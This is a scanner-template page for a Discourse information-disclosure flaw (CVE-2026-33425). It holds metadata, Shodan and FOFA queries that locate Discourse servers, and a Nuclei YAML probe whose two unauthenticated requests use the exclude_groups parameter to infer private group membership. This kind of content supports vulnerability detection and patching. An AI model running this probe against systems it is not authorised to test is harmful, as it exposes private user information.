CVE-2026-33425: Discourse - Private Group Membership Inference via exclude_groups
- Template: CVE-2026-33425
- Name: Discourse - Private Group Membership Inference via exclude_groups
- Description: Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.
- Impact: Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
- Remediation: Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
- Severity: medium
- Authors: str4k3r
- Tags: cve, cve2026, discourse, info-disclosure, unauth
- References: https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2, https://nvd.nist.gov/vuln/detail/CVE-2026-33425
- Cves: CVE-2026-33425
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-33425.yaml
- Digest: 4a0a00473045022100923fbc23b9ec60568d5c735e1acebf2dd52e29d2cdcd4011deeb6b8350499c5c02207885d7b631da5fb3992e0739f0a965afcd6c940f190801d3b85d4be7ac10d9fc
- Created at: 2026-10-13T12:13:06Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 42
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-33425.yaml
Classification
- Cwe: CWE-203
- Cvss score: 5.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Epss score: 0.0073
- Epss percentile: 0.55215
- Not known: cpe
Metadata
- Fofa-query: body="/assets/discourse"
- Max-request: 2
- Product: discourse
- Shodan-query: http.component:"discourse"
- Vendor: discourse
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| discourse:discourse | yes | /v1/products/discourse/discourse |
Labels
- Name: Discourse - Information Disclosure
- Impact: Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
- Remediation: Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
- Vulnerability type: broken_access_control
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-33425
- Not known: requirements
```yaml
id: CVE-2026-33425
info:
name: Discourse - Private Group Membership Inference via exclude_groups
author: str4k3r
severity: medium
description: |
Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.
impact: |
Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
remediation: |
Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2
- https://nvd.nist.gov/vuln/detail/CVE-2026-33425
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-33425
epss-score: 0.0073
epss-percentile: 0.55215
cwe-id: CWE-203
metadata:
verified: true
max-request: 2
vendor: discourse
product: discourse
shodan-query: http.component:"discourse"
fofa-query: body="/assets/discourse"
tags: cve,cve2026,discourse,info-disclosure,unauth
variables:
ghost: "{{rand_base(8, 'acfhjnprx')}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'regex("\"total_rows_directory_items\":[0-9]+", body)'
condition: and
internal: true
extractors:
- type: regex
name: basetotal
group: 1
internal: true
regex:
- '"total_rows_directory_items":([0-9]+)'
- raw:
- |
GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- '!regex("total_rows_directory_items.:" + basetotal + "[,}]", body)'
condition: and
digest: 4a0a00473045022100923fbc23b9ec60568d5c735e1acebf2dd52e29d2cdcd4011deeb6b8350499c5c02207885d7b631da5fb3992e0739f0a965afcd6c940f190801d3b85d4be7ac10d9fc:922c64590222798bb761d5b6d8e72950
```